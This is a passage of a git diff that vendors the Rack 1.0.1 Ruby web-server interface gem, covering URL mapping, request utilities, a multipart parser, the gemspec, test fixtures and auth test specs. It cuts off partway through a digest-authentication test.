+        location = location.chomp('/')
+
+        [host, location, app]
+      }.sort_by { |(h, l, a)| [h ? -h.size : (-1.0 / 0.0), -l.size] }  # Longest path first
+    end
+
+    def call(env)
+      path = env["PATH_INFO"].to_s.squeeze("/")
+      script_name = env['SCRIPT_NAME']
+      hHost, sName, sPort = env.values_at('HTTP_HOST','SERVER_NAME','SERVER_PORT')
+      @mapping.each { |host, location, app|
+        next unless (hHost == host || sName == host \
+          || (host.nil? && (hHost == sName || hHost == sName+':'+sPort)))
+        next unless location == path[0, location.size]
+        next unless path[location.size] == nil || path[location.size] == ?/
+
+        return app.call(
+          env.merge(
+            'SCRIPT_NAME' => (script_name + location),
+            'PATH_INFO'   => path[location.size..-1]))
+      }
+      [404, {"Content-Type" => "text/plain"}, ["Not Found: #{path}"]]
+    end
+  end
+end
+
diff --git a/vendor/gems/rack-1.0.1/lib/rack/utils.rb b/vendor/gems/rack-1.0.1/lib/rack/utils.rb
new file mode 100644
index 00000000..d54c928c
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/lib/rack/utils.rb
@@ -0,0 +1,401 @@
+# -*- encoding: binary -*-
+
+require 'set'
+require 'tempfile'
+
+module Rack
+  # Rack::Utils contains a grab-bag of useful methods for writing web
+  # applications adopted from all kinds of Ruby libraries.
+
+  module Utils
+    # Performs URI escaping so that you can construct proper
+    # query strings faster.  Use this rather than the cgi.rb
+    # version since it's faster.  (Stolen from Camping).
+    def escape(s)
+      s.to_s.gsub(/([^ a-zA-Z0-9_.-]+)/n) {
+        '%'+$1.unpack('H2'*bytesize($1)).join('%').upcase
+      }.tr(' ', '+')
+    end
+    module_function :escape
+
+    # Unescapes a URI escaped string. (Stolen from Camping).
+    def unescape(s)
+      s.tr('+', ' ').gsub(/((?:%[0-9a-fA-F]{2})+)/n){
+        [$1.delete('%')].pack('H*')
+      }
+    end
+    module_function :unescape
+
+    DEFAULT_SEP = /[&;] */n
+    
+    # Stolen from Mongrel, with some small modifications:
+    # Parses a query string by breaking it up at the '&'
+    # and ';' characters.  You can also use this to parse
+    # cookies by changing the characters used in the second
+    # parameter (which defaults to '&;').
+    def parse_query(qs, d = nil)
+      params = {}
+
+      (qs || '').split(d ? /[#{d}] */n : DEFAULT_SEP).each do |p|
+        k, v = p.split('=', 2).map { |x| unescape(x) }
+
+        if cur = params[k]
+          if cur.class == Array
+            params[k] << v
+          else
+            params[k] = [cur, v]
+          end
+        else
+          params[k] = v
+        end
+      end
+
+      return params
+    end
+    module_function :parse_query
+
+    def parse_nested_query(qs, d = nil)
+      params = {}
+
+      (qs || '').split(d ? /[#{d}] */n : DEFAULT_SEP).each do |p|
+        k, v = unescape(p).split('=', 2)
+        normalize_params(params, k, v)
+      end
+
+      return params
+    end
+    module_function :parse_nested_query
+
+    def normalize_params(params, name, v = nil)
+      name =~ %r(\A[\[\]]*([^\[\]]+)\]*)
+      k = $1 || ''
+      after = $' || ''
+
+      return if k.empty?
+
+      if after == ""
+        params[k] = v
+      elsif after == "[]"
+        params[k] ||= []
+        raise TypeError, "expected Array (got #{params[k].class.name}) for param `#{k}'" unless params[k].is_a?(Array)
+        params[k] << v
+      elsif after =~ %r(^\[\]\[([^\[\]]+)\]$) || after =~ %r(^\[\](.+)$)
+        child_key = $1
+        params[k] ||= []
+        raise TypeError, "expected Array (got #{params[k].class.name}) for param `#{k}'" unless params[k].is_a?(Array)
+        if params[k].last.is_a?(Hash) && !params[k].last.key?(child_key)
+          normalize_params(params[k].last, child_key, v)
+        else
+          params[k] << normalize_params({}, child_key, v)
+        end
+      else
+        params[k] ||= {}
+        raise TypeError, "expected Hash (got #{params[k].class.name}) for param `#{k}'" unless params[k].is_a?(Hash)
+        params[k] = normalize_params(params[k], after, v)
+      end
+
+      return params
+    end
+    module_function :normalize_params
+
+    def build_query(params)
+      params.map { |k, v|
+        if v.class == Array
+          build_query(v.map { |x| [k, x] })
+        else
+          "#{escape(k)}=#{escape(v)}"
+        end
+      }.join("&")
+    end
+    module_function :build_query
+
+    # Escape ampersands, brackets and quotes to their HTML/XML entities.
+    def escape_html(string)
+      string.to_s.gsub("&", "&amp;").
+        gsub("<", "&lt;").
+        gsub(">", "&gt;").
+        gsub("'", "&#39;").
+        gsub('"', "&quot;")
+    end
+    module_function :escape_html
+
+    def select_best_encoding(available_encodings, accept_encoding)
+      # http://www.w3.org/Protocols/rfc2616/rfc2616-sec14.html
+
+      expanded_accept_encoding =
+        accept_encoding.map { |m, q|
+          if m == "*"
+            (available_encodings - accept_encoding.map { |m2, _| m2 }).map { |m2| [m2, q] }
+          else
+            [[m, q]]
+          end
+        }.inject([]) { |mem, list|
+          mem + list
+        }
+
+      encoding_candidates = expanded_accept_encoding.sort_by { |_, q| -q }.map { |m, _| m }
+
+      unless encoding_candidates.include?("identity")
+        encoding_candidates.push("identity")
+      end
+
+      expanded_accept_encoding.find_all { |m, q|
+        q == 0.0
+      }.each { |m, _|
+        encoding_candidates.delete(m)
+      }
+
+      return (encoding_candidates & available_encodings)[0]
+    end
+    module_function :select_best_encoding
+
+    # Return the bytesize of String; uses String#length under Ruby 1.8 and
+    # String#bytesize under 1.9.
+    if ''.respond_to?(:bytesize)
+      def bytesize(string)
+        string.bytesize
+      end
+    else
+      def bytesize(string)
+        string.size
+      end
+    end
+    module_function :bytesize
+
+    # Context allows the use of a compatible middleware at different points
+    # in a request handling stack. A compatible middleware must define
+    # #context which should take the arguments env and app. The first of which
+    # would be the request environment. The second of which would be the rack
+    # application that the request would be forwarded to.
+    class Context
+      attr_reader :for, :app
+
+      def initialize(app_f, app_r)
+        raise 'running context does not respond to #context' unless app_f.respond_to? :context
+        @for, @app = app_f, app_r
+      end
+
+      def call(env)
+        @for.context(env, @app)
+      end
+
+      def recontext(app)
+        self.class.new(@for, app)
+      end
+
+      def context(env, app=@app)
+        recontext(app).call(env)
+      end
+    end
+
+    # A case-insensitive Hash that preserves the original case of a
+    # header when set.
+    class HeaderHash < Hash
+      def initialize(hash={})
+        @names = {}
+        hash.each { |k, v| self[k] = v }
+      end
+
+      def to_hash
+        inject({}) do |hash, (k,v)|
+          if v.respond_to? :to_ary
+            hash[k] = v.to_ary.join("\n")
+          else
+            hash[k] = v
+          end
+          hash
+        end
+      end
+
+      def [](k)
+        super @names[k.downcase]
+      end
+
+      def []=(k, v)
+        delete k
+        @names[k.downcase] = k
+        super k, v
+      end
+
+      def delete(k)
+        super @names.delete(k.downcase)
+      end
+
+      def include?(k)
+        @names.has_key? k.downcase
+      end
+
+      alias_method :has_key?, :include?
+      alias_method :member?, :include?
+      alias_method :key?, :include?
+
+      def merge!(other)
+        other.each { |k, v| self[k] = v }
+        self
+      end
+
+      def merge(other)
+        hash = dup
+        hash.merge! other
+      end
+    end
+
+    # Every standard HTTP code mapped to the appropriate message.
+    # Stolen from Mongrel.
+    HTTP_STATUS_CODES = {
+      100  => 'Continue',
+      101  => 'Switching Protocols',
+      200  => 'OK',
+      201  => 'Created',
+      202  => 'Accepted',
+      203  => 'Non-Authoritative Information',
+      204  => 'No Content',
+      205  => 'Reset Content',
+      206  => 'Partial Content',
+      300  => 'Multiple Choices',
+      301  => 'Moved Permanently',
+      302  => 'Found',
+      303  => 'See Other',
+      304  => 'Not Modified',
+      305  => 'Use Proxy',
+      307  => 'Temporary Redirect',
+      400  => 'Bad Request',
+      401  => 'Unauthorized',
+      402  => 'Payment Required',
+      403  => 'Forbidden',
+      404  => 'Not Found',
+      405  => 'Method Not Allowed',
+      406  => 'Not Acceptable',
+      407  => 'Proxy Authentication Required',
+      408  => 'Request Timeout',
+      409  => 'Conflict',
+      410  => 'Gone',
+      411  => 'Length Required',
+      412  => 'Precondition Failed',
+      413  => 'Request Entity Too Large',
+      414  => 'Request-URI Too Large',
+      415  => 'Unsupported Media Type',
+      416  => 'Requested Range Not Satisfiable',
+      417  => 'Expectation Failed',
+      500  => 'Internal Server Error',
+      501  => 'Not Implemented',
+      502  => 'Bad Gateway',
+      503  => 'Service Unavailable',
+      504  => 'Gateway Timeout',
+      505  => 'HTTP Version Not Supported'
+    }
+
+    # Responses with HTTP status codes that should not have an entity body
+    STATUS_WITH_NO_ENTITY_BODY = Set.new((100..199).to_a << 204 << 304)
+
+    # A multipart form data parser, adapted from IOWA.
+    #
+    # Usually, Rack::Request#POST takes care of calling this.
+
+    module Multipart
+      EOL = "\r\n"
+
+      def self.parse_multipart(env)
+        unless env['CONTENT_TYPE'] =~
+            %r|\Amultipart/.*boundary=\"?([^\";,]+)\"?|n
+          nil
+        else
+          boundary = "--#{$1}"
+
+          params = {}
+          buf = ""
+          content_length = env['CONTENT_LENGTH'].to_i
+          input = env['rack.input']
+          input.rewind
+
+          boundary_size = Utils.bytesize(boundary) + EOL.size
+          bufsize = 16384
+
+          content_length -= boundary_size
+
+          read_buffer = ''
+
+          status = input.read(boundary_size, read_buffer)
+          raise EOFError, "bad content body"  unless status == boundary + EOL
+
+          rx = /(?:#{EOL})?#{Regexp.quote boundary}(#{EOL}|--)/n
+
+          loop {
+            head = nil
+            body = ''
+            filename = content_type = name = nil
+
+            until head && buf =~ rx
+              if !head && i = buf.index(EOL+EOL)
+                head = buf.slice!(0, i+2) # First \r\n
+                buf.slice!(0, 2)          # Second \r\n
+
+                filename = head[/Content-Disposition:.* filename=(?:"((?:\\.|[^\"])*)"|([^;\s]*))/ni, 1]
+                content_type = head[/Content-Type: (.*)#{EOL}/ni, 1]
+                name = head[/Content-Disposition:.*\s+name="?([^\";]*)"?/ni, 1] || head[/Content-ID:\s*([^#{EOL}]*)/ni, 1]
+
+                if content_type || filename
+                  body = Tempfile.new("RackMultipart")
+                  body.binmode  if body.respond_to?(:binmode)
+                end
+
+                next
+              end
+
+              # Save the read body part.
+              if head && (boundary_size+4 < buf.size)
+                body << buf.slice!(0, buf.size - (boundary_size+4))
+              end
+
+              c = input.read(bufsize < content_length ? bufsize : content_length, read_buffer)
+              raise EOFError, "bad content body"  if c.nil? || c.empty?
+              buf << c
+              content_length -= c.size
+            end
+
+            # Save the rest.
+            if i = buf.index(rx)
+              body << buf.slice!(0, i)
+              buf.slice!(0, boundary_size+2)
+
+              content_length = -1  if $1 == "--"
+            end
+
+            if filename == ""
+              # filename is blank which means no file has been selected
+              data = nil
+            elsif filename
+              body.rewind
+
+              # Take the basename of the upload's original filename.
+              # This handles the full Windows paths given by Internet Explorer
+              # (and perhaps other broken user agents) without affecting
+              # those which give the lone filename.
+              filename =~ /^(?:.*[:\\\/])?(.*)/m
+              filename = $1
+
+              data = {:filename => filename, :type => content_type,
+                      :name => name, :tempfile => body, :head => head}
+            elsif !filename && content_type
+              body.rewind
+              
+              # Generic multipart cases, not coming from a form
+              data = {:type => content_type,
+                      :name => name, :tempfile => body, :head => head}
+            else
+              data = body
+            end
+
+            Utils.normalize_params(params, name, data) unless data.nil?
+
+            break  if buf.empty? || content_length == -1
+          }
+
+          input.rewind
+
+          params
+        end
+      end
+    end
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/rack.gemspec b/vendor/gems/rack-1.0.1/rack.gemspec
new file mode 100644
index 00000000..2640997b
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/rack.gemspec
@@ -0,0 +1,54 @@
+# -*- encoding: utf-8 -*-
+
+Gem::Specification.new do |s|
+  s.name = %q{rack}
+  s.version = "1.0.1"
+
+  s.required_rubygems_version = Gem::Requirement.new(">= 0") if s.respond_to? :required_rubygems_version=
+  s.authors = ["Christian Neukirchen"]
+  s.date = %q{2009-10-18}
+  s.default_executable = %q{rackup}
+  s.description = %q{Rack provides minimal, modular and adaptable interface for developing web applications in Ruby.  By wrapping HTTP requests and responses in the simplest way possible, it unifies and distills the API for web servers, web frameworks, and software in between (the so-called middleware) into a single method call.  Also see http://rack.rubyforge.org.}
+  s.email = %q{chneukirchen@gmail.com}
+  s.executables = ["rackup"]
+  s.extra_rdoc_files = ["README", "SPEC", "RDOX", "KNOWN-ISSUES"]
+  s.files = ["COPYING", "KNOWN-ISSUES", "README", "Rakefile", "bin/rackup", "contrib/rack_logo.svg", "example/lobster.ru", "example/protectedlobster.rb", "example/protectedlobster.ru", "lib/rack.rb", "lib/rack/adapter/camping.rb", "lib/rack/auth/abstract/handler.rb", "lib/rack/auth/abstract/request.rb", "lib/rack/auth/basic.rb", "lib/rack/auth/digest/md5.rb", "lib/rack/auth/digest/nonce.rb", "lib/rack/auth/digest/params.rb", "lib/rack/auth/digest/request.rb", "lib/rack/auth/openid.rb", "lib/rack/builder.rb", "lib/rack/cascade.rb", "lib/rack/chunked.rb", "lib/rack/commonlogger.rb", "lib/rack/conditionalget.rb", "lib/rack/content_length.rb", "lib/rack/content_type.rb", "lib/rack/deflater.rb", "lib/rack/directory.rb", "lib/rack/file.rb", "lib/rack/handler.rb", "lib/rack/handler/cgi.rb", "lib/rack/handler/evented_mongrel.rb", "lib/rack/handler/fastcgi.rb", "lib/rack/handler/lsws.rb", "lib/rack/handler/mongrel.rb", "lib/rack/handler/scgi.rb", "lib/rack/handler/swiftiplied_mongrel.rb", "lib/rack/handler/thin.rb", "lib/rack/handler/webrick.rb", "lib/rack/head.rb", "lib/rack/lint.rb", "lib/rack/lobster.rb", "lib/rack/lock.rb", "lib/rack/methodoverride.rb", "lib/rack/mime.rb", "lib/rack/mock.rb", "lib/rack/recursive.rb", "lib/rack/reloader.rb", "lib/rack/request.rb", "lib/rack/response.rb", "lib/rack/rewindable_input.rb", "lib/rack/session/abstract/id.rb", "lib/rack/session/cookie.rb", "lib/rack/session/memcache.rb", "lib/rack/session/pool.rb", "lib/rack/showexceptions.rb", "lib/rack/showstatus.rb", "lib/rack/static.rb", "lib/rack/urlmap.rb", "lib/rack/utils.rb", "test/cgi/lighttpd.conf", "test/cgi/test", "test/cgi/test.fcgi", "test/cgi/test.ru", "test/multipart/binary", "test/multipart/empty", "test/multipart/ie", "test/multipart/nested", "test/multipart/none", "test/multipart/semicolon", "test/multipart/text", "test/spec_rack_auth_basic.rb", "test/spec_rack_auth_digest.rb", "test/spec_rack_auth_openid.rb", "test/spec_rack_builder.rb", "test/spec_rack_camping.rb", "test/spec_rack_cascade.rb", "test/spec_rack_cgi.rb", "test/spec_rack_chunked.rb", "test/spec_rack_commonlogger.rb", "test/spec_rack_conditionalget.rb", "test/spec_rack_content_length.rb", "test/spec_rack_content_type.rb", "test/spec_rack_deflater.rb", "test/spec_rack_directory.rb", "test/spec_rack_fastcgi.rb", "test/spec_rack_file.rb", "test/spec_rack_handler.rb", "test/spec_rack_head.rb", "test/spec_rack_lint.rb", "test/spec_rack_lobster.rb", "test/spec_rack_lock.rb", "test/spec_rack_methodoverride.rb", "test/spec_rack_mock.rb", "test/spec_rack_mongrel.rb", "test/spec_rack_recursive.rb", "test/spec_rack_request.rb", "test/spec_rack_response.rb", "test/spec_rack_rewindable_input.rb", "test/spec_rack_session_cookie.rb", "test/spec_rack_session_memcache.rb", "test/spec_rack_session_pool.rb", "test/spec_rack_showexceptions.rb", "test/spec_rack_showstatus.rb", "test/spec_rack_static.rb", "test/spec_rack_thin.rb", "test/spec_rack_urlmap.rb", "test/spec_rack_utils.rb", "test/spec_rack_webrick.rb", "test/testrequest.rb", "test/unregistered_handler/rack/handler/unregistered.rb", "test/unregistered_handler/rack/handler/unregistered_long_one.rb", "SPEC", "RDOX", "rack.gemspec"]
+  s.has_rdoc = true
+  s.homepage = %q{http://rack.rubyforge.org}
+  s.require_paths = ["lib"]
+  s.rubyforge_project = %q{rack}
+  s.rubygems_version = %q{1.3.1}
+  s.summary = %q{a modular Ruby webserver interface}
+  s.test_files = ["test/spec_rack_auth_basic.rb", "test/spec_rack_auth_digest.rb", "test/spec_rack_auth_openid.rb", "test/spec_rack_builder.rb", "test/spec_rack_camping.rb", "test/spec_rack_cascade.rb", "test/spec_rack_cgi.rb", "test/spec_rack_chunked.rb", "test/spec_rack_commonlogger.rb", "test/spec_rack_conditionalget.rb", "test/spec_rack_content_length.rb", "test/spec_rack_content_type.rb", "test/spec_rack_deflater.rb", "test/spec_rack_directory.rb", "test/spec_rack_fastcgi.rb", "test/spec_rack_file.rb", "test/spec_rack_handler.rb", "test/spec_rack_head.rb", "test/spec_rack_lint.rb", "test/spec_rack_lobster.rb", "test/spec_rack_lock.rb", "test/spec_rack_methodoverride.rb", "test/spec_rack_mock.rb", "test/spec_rack_mongrel.rb", "test/spec_rack_recursive.rb", "test/spec_rack_request.rb", "test/spec_rack_response.rb", "test/spec_rack_rewindable_input.rb", "test/spec_rack_session_cookie.rb", "test/spec_rack_session_memcache.rb", "test/spec_rack_session_pool.rb", "test/spec_rack_showexceptions.rb", "test/spec_rack_showstatus.rb", "test/spec_rack_static.rb", "test/spec_rack_thin.rb", "test/spec_rack_urlmap.rb", "test/spec_rack_utils.rb", "test/spec_rack_webrick.rb"]
+
+  if s.respond_to? :specification_version then
+    current_version = Gem::Specification::CURRENT_SPECIFICATION_VERSION
+    s.specification_version = 2
+
+    if Gem::Version.new(Gem::RubyGemsVersion) >= Gem::Version.new('1.2.0') then
+      s.add_development_dependency(%q<test-spec>, [">= 0"])
+      s.add_development_dependency(%q<camping>, [">= 0"])
+      s.add_development_dependency(%q<fcgi>, [">= 0"])
+      s.add_development_dependency(%q<memcache-client>, [">= 0"])
+      s.add_development_dependency(%q<mongrel>, [">= 0"])
+      s.add_development_dependency(%q<ruby-openid>, ["~> 2.0.0"])
+      s.add_development_dependency(%q<thin>, [">= 0"])
+    else
+      s.add_dependency(%q<test-spec>, [">= 0"])
+      s.add_dependency(%q<camping>, [">= 0"])
+      s.add_dependency(%q<fcgi>, [">= 0"])
+      s.add_dependency(%q<memcache-client>, [">= 0"])
+      s.add_dependency(%q<mongrel>, [">= 0"])
+      s.add_dependency(%q<ruby-openid>, ["~> 2.0.0"])
+      s.add_dependency(%q<thin>, [">= 0"])
+    end
+  else
+    s.add_dependency(%q<test-spec>, [">= 0"])
+    s.add_dependency(%q<camping>, [">= 0"])
+    s.add_dependency(%q<fcgi>, [">= 0"])
+    s.add_dependency(%q<memcache-client>, [">= 0"])
+    s.add_dependency(%q<mongrel>, [">= 0"])
+    s.add_dependency(%q<ruby-openid>, ["~> 2.0.0"])
+    s.add_dependency(%q<thin>, [">= 0"])
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/test/cgi/lighttpd.conf b/vendor/gems/rack-1.0.1/test/cgi/lighttpd.conf
new file mode 100644
index 00000000..889726c6
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/cgi/lighttpd.conf
@@ -0,0 +1,20 @@
+server.modules = ("mod_fastcgi", "mod_cgi")
+server.document-root = "."
+server.errorlog = "lighttpd.errors"
+server.port = 9203
+
+server.event-handler = "select"
+
+cgi.assign = ("/test" => "",
+#              ".ru" => ""
+             )
+
+fastcgi.server = ("test.fcgi" => ("localhost" =>
+                    ("min-procs" => 1,
+                     "socket" => "/tmp/rack-test-fcgi",
+                     "bin-path" => "test.fcgi")),
+                  "test.ru" => ("localhost" =>
+                    ("min-procs" => 1,
+                     "socket" => "/tmp/rack-test-ru-fcgi",
+                     "bin-path" => "test.ru")),
+                 )
diff --git a/vendor/gems/rack-1.0.1/test/cgi/test b/vendor/gems/rack-1.0.1/test/cgi/test
new file mode 100755
index 00000000..e4837a4e
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/cgi/test
@@ -0,0 +1,9 @@
+#!/usr/bin/env ruby
+# -*- ruby -*-
+
+$: << File.join(File.dirname(__FILE__), "..", "..", "lib")
+
+require 'rack'
+require '../testrequest'
+
+Rack::Handler::CGI.run(Rack::Lint.new(TestRequest.new))
diff --git a/vendor/gems/rack-1.0.1/test/cgi/test.fcgi b/vendor/gems/rack-1.0.1/test/cgi/test.fcgi
new file mode 100755
index 00000000..5e104fc9
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/cgi/test.fcgi
@@ -0,0 +1,8 @@
+#!/usr/bin/env ruby
+# -*- ruby -*-
+
+$:.unshift '../../lib'
+require 'rack'
+require '../testrequest'
+
+Rack::Handler::FastCGI.run(Rack::Lint.new(TestRequest.new))
diff --git a/vendor/gems/rack-1.0.1/test/cgi/test.ru b/vendor/gems/rack-1.0.1/test/cgi/test.ru
new file mode 100755
index 00000000..4054b886
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/cgi/test.ru
@@ -0,0 +1,7 @@
+#!/usr/bin/env ../../bin/rackup
+#\ -E deployment -I ../../lib
+# -*- ruby -*-
+
+require '../testrequest'
+
+run TestRequest.new
diff --git a/vendor/gems/rack-1.0.1/test/multipart/binary b/vendor/gems/rack-1.0.1/test/multipart/binary
new file mode 100644
index 00000000..a3bd67c4
Binary files /dev/null and b/vendor/gems/rack-1.0.1/test/multipart/binary differ
diff --git a/vendor/gems/rack-1.0.1/test/multipart/empty b/vendor/gems/rack-1.0.1/test/multipart/empty
new file mode 100644
index 00000000..f0f79835
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/multipart/empty
@@ -0,0 +1,10 @@
+--AaB03x
+Content-Disposition: form-data; name="submit-name"
+
+Larry
+--AaB03x
+Content-Disposition: form-data; name="files"; filename="file1.txt"
+Content-Type: text/plain
+
+
+--AaB03x--
diff --git a/vendor/gems/rack-1.0.1/test/multipart/ie b/vendor/gems/rack-1.0.1/test/multipart/ie
new file mode 100644
index 00000000..eae06ab5
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/multipart/ie
@@ -0,0 +1,6 @@
+--AaB03x
+Content-Disposition: form-data; name="files"; filename="C:\Documents and Settings\Administrator\Desktop\file1.txt"
+Content-Type: text/plain
+
+contents
+--AaB03x--
diff --git a/vendor/gems/rack-1.0.1/test/multipart/nested b/vendor/gems/rack-1.0.1/test/multipart/nested
new file mode 100644
index 00000000..51978824
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/multipart/nested
@@ -0,0 +1,10 @@
+--AaB03x
+Content-Disposition: form-data; name="foo[submit-name]"
+
+Larry
+--AaB03x
+Content-Disposition: form-data; name="foo[files]"; filename="file1.txt"
+Content-Type: text/plain
+
+contents
+--AaB03x--
diff --git a/vendor/gems/rack-1.0.1/test/multipart/none b/vendor/gems/rack-1.0.1/test/multipart/none
new file mode 100644
index 00000000..d66f4730
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/multipart/none
@@ -0,0 +1,9 @@
+--AaB03x
+Content-Disposition: form-data; name="submit-name"
+
+Larry
+--AaB03x
+Content-Disposition: form-data; name="files"; filename=""
+
+
+--AaB03x--
diff --git a/vendor/gems/rack-1.0.1/test/multipart/semicolon b/vendor/gems/rack-1.0.1/test/multipart/semicolon
new file mode 100644
index 00000000..00fd68ab
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/multipart/semicolon
@@ -0,0 +1,6 @@
+--AaB03x
+Content-Disposition: form-data; name="files"; filename="fi;le1.txt"
+Content-Type: text/plain
+
+contents
+--AaB03x--
\ No newline at end of file
diff --git a/vendor/gems/rack-1.0.1/test/multipart/text b/vendor/gems/rack-1.0.1/test/multipart/text
new file mode 100644
index 00000000..b83d3821
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/multipart/text
@@ -0,0 +1,10 @@
+--AaB03x
+Content-Disposition: form-data; name="submit-name"
+
+Larry
+--AaB03x
+Content-Disposition: form-data; name="files"; filename="file1.txt"
+Content-Type: text/plain
+
+contents
+--AaB03x--
\ No newline at end of file
diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_auth_basic.rb b/vendor/gems/rack-1.0.1/test/spec_rack_auth_basic.rb
new file mode 100644
index 00000000..0176efc8
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/spec_rack_auth_basic.rb
@@ -0,0 +1,73 @@
+require 'test/spec'
+
+require 'rack/auth/basic'
+require 'rack/mock'
+
+context 'Rack::Auth::Basic' do
+
+  def realm
+    'WallysWorld'
+  end
+  
+  def unprotected_app
+    lambda { |env| [ 200, {'Content-Type' => 'text/plain'}, ["Hi #{env['REMOTE_USER']}"] ] }
+  end
+  
+  def protected_app
+    app = Rack::Auth::Basic.new(unprotected_app) { |username, password| 'Boss' == username }
+    app.realm = realm
+    app
+  end
+
+  setup do
+    @request = Rack::MockRequest.new(protected_app)
+  end
+
+  def request_with_basic_auth(username, password, &block)
+    request 'HTTP_AUTHORIZATION' => 'Basic ' + ["#{username}:#{password}"].pack("m*"), &block
+  end
+
+  def request(headers = {})
+    yield @request.get('/', headers)
+  end
+
+  def assert_basic_auth_challenge(response)
+    response.should.be.a.client_error
+    response.status.should.equal 401
+    response.should.include 'WWW-Authenticate'
+    response.headers['WWW-Authenticate'].should =~ /Basic realm="#{Regexp.escape(realm)}"/
+    response.body.should.be.empty
+  end
+
+  specify 'should challenge correctly when no credentials are specified' do
+    request do |response|
+      assert_basic_auth_challenge response
+    end
+  end
+
+  specify 'should rechallenge if incorrect credentials are specified' do
+    request_with_basic_auth 'joe', 'password' do |response|
+      assert_basic_auth_challenge response
+    end
+  end
+
+  specify 'should return application output if correct credentials are specified' do
+    request_with_basic_auth 'Boss', 'password' do |response|
+      response.status.should.equal 200
+      response.body.to_s.should.equal 'Hi Boss'
+    end
+  end
+  
+  specify 'should return 400 Bad Request if different auth scheme used' do
+    request 'HTTP_AUTHORIZATION' => 'Digest params' do |response|
+      response.should.be.a.client_error
+      response.status.should.equal 400
+      response.should.not.include 'WWW-Authenticate'
+    end
+  end
+
+  specify 'realm as optional constructor arg' do
+    app = Rack::Auth::Basic.new(unprotected_app, realm) { true }
+    assert_equal realm, app.realm
+  end
+end
diff --git a/vendor/gems/rack-1.0.1/test/spec_rack_auth_digest.rb b/vendor/gems/rack-1.0.1/test/spec_rack_auth_digest.rb
new file mode 100644
index 00000000..a980acc8
--- /dev/null
+++ b/vendor/gems/rack-1.0.1/test/spec_rack_auth_digest.rb
@@ -0,0 +1,226 @@
+require 'test/spec'
+
+require 'rack/auth/digest/md5'
+require 'rack/mock'
+
+context 'Rack::Auth::Digest::MD5' do
+
+  def realm
+    'WallysWorld'
+  end
+
+  def unprotected_app
+    lambda do |env|
+      [ 200, {'Content-Type' => 'text/plain'}, ["Hi #{env['REMOTE_USER']}"] ]
+    end
+  end
+
+  def protected_app
+    app = Rack::Auth::Digest::MD5.new(unprotected_app) do |username|
+      { 'Alice' => 'correct-password' }[username]
+    end
+    app.realm = realm
+    app.opaque = 'this-should-be-secret'
+    app
+  end
+
+  def protected_app_with_hashed_passwords
+    app = Rack::Auth::Digest::MD5.new(unprotected_app) do |username|
+      username == 'Alice' ? Digest::MD5.hexdigest("Alice:#{realm}:correct-password") : nil
+    end
+    app.realm = realm
+    app.opaque = 'this-should-be-secret'
+    app.passwords_hashed = true
+    app
+  end
+
+  def partially_protected_app
+    Rack::URLMap.new({
+      '/' => unprotected_app,
+      '/protected' => protected_app
+    })
+  end
+
+  def protected_app_with_method_override
+    Rack::MethodOverride.new(protected_app)
+  end
+
+  setup do
+    @request = Rack::MockRequest.new(protected_app)
+  end
+
+  def request(method, path, headers = {}, &block)
+    response = @request.request(method, path, headers)
+    block.call(response) if block
+    return response
+  end
+
+  class MockDigestRequest
+    def initialize(params)
+      @params = params
+    end
+    def method_missing(sym)
+      if @params.has_key? k = sym.to_s
+        return @params[k]
+      end
+      super
+    end
+    def method
+      @params['method']
+    end
+    def response(password)
+      Rack::Auth::Digest::MD5.new(nil).send :digest, self, password
+    end
+  end
+
+  def request_with_digest_auth(method, path, username, password, options = {}, &block)
+    request_options = {}
+    request_options[:input] = options.delete(:input) if options.include? :input
+
+    response = request(method, path, request_options)
+
+    return response unless response.status == 401
+
+    if wait = options.delete(:wait)
+      sleep wait
+    end
+
+    challenge = response['WWW-Authenticate'].split(' ', 2).last
+
+    params = Rack::Auth::Digest::Params.parse(challenge)
+
+    params['username'] = username
+    params['nc'] = '00000001'
+    params['cnonce'] = 'nonsensenonce'
+    params['uri'] = path
+
+    params['method'] = method
+
+    params.update options
+
+    params['response'] = MockDigestRequest.new(params).response(password)
+
+    request(method, path, request_options.merge('HTTP_AUTHORIZATION' => "Digest #{params}"), &block)
+  end
+
+  def assert_digest_auth_challenge(response)
+    response.should.be.a.client_error
+    response.status.should.equal 401
+    response.should.include 'WWW-Authenticate'
+    response.headers['WWW-Authenticate'].should =~ /^Digest /
+    response.body.should.be.empty
+  end
+
+  def assert_bad_request(response)
+    response.should.be.a.client_error
+    response.status.should.equal 400
+    response.should.not.include 'WWW-Authenticate'
+  end
+
+  specify 'should challenge when no credentials are specified' do
+    request 'GET', '/' do |response|
+      assert_digest_auth_challenge response
+    end
+  end
+
+  specify 'should return application output if correct credentials given' do
+    request_with_digest_auth 'GET', '/', 'Alice', 'correct-password' do |response|
+      response.status.should.equal 200
+      response.body.to_s.should.equal 'Hi Alice'
+    end
+  end
+
+  specify 'should return application output if correct credentials given (hashed passwords)' do
+    @request = Rack::MockRequest.new(protected_app_with_hashed_passwords)
+
+    request_with_digest_auth 'GET', '/', 'Alice', 'correct-password' do |response|
+      response.status.should.equal 200
+      response.body.to_s.should.equal 'Hi Alice'
+    end
+  end
+
+  specify 'should rechallenge if incorrect username given' do
+    request_with_digest_auth 'GET', '/', 'Bob', 'correct-password' do |response|
+      assert_digest_auth_challenge response
+    end
+  end
+
+  specify 'should rechallenge if incorrect password given' do
+    request_with_digest_auth 'GET', '/', 'Alice', 'wrong-password' do |response|
+      assert_digest_auth_challenge response
+    end
+  end
+
+  specify 'should rechallenge with stale parameter if nonce is stale' do
+    begin
+      Rack::Auth::Digest::Nonce.time_limit = 1
+
+      request_with_digest_auth 'GET', '/', 'Alice', 'correct-password', :wait => 2 do |response|
+        assert_digest_auth_challenge response
+        response.headers['WWW-Authenticate'].should =~ /\bstale=true\b/
+      end
+    ensure
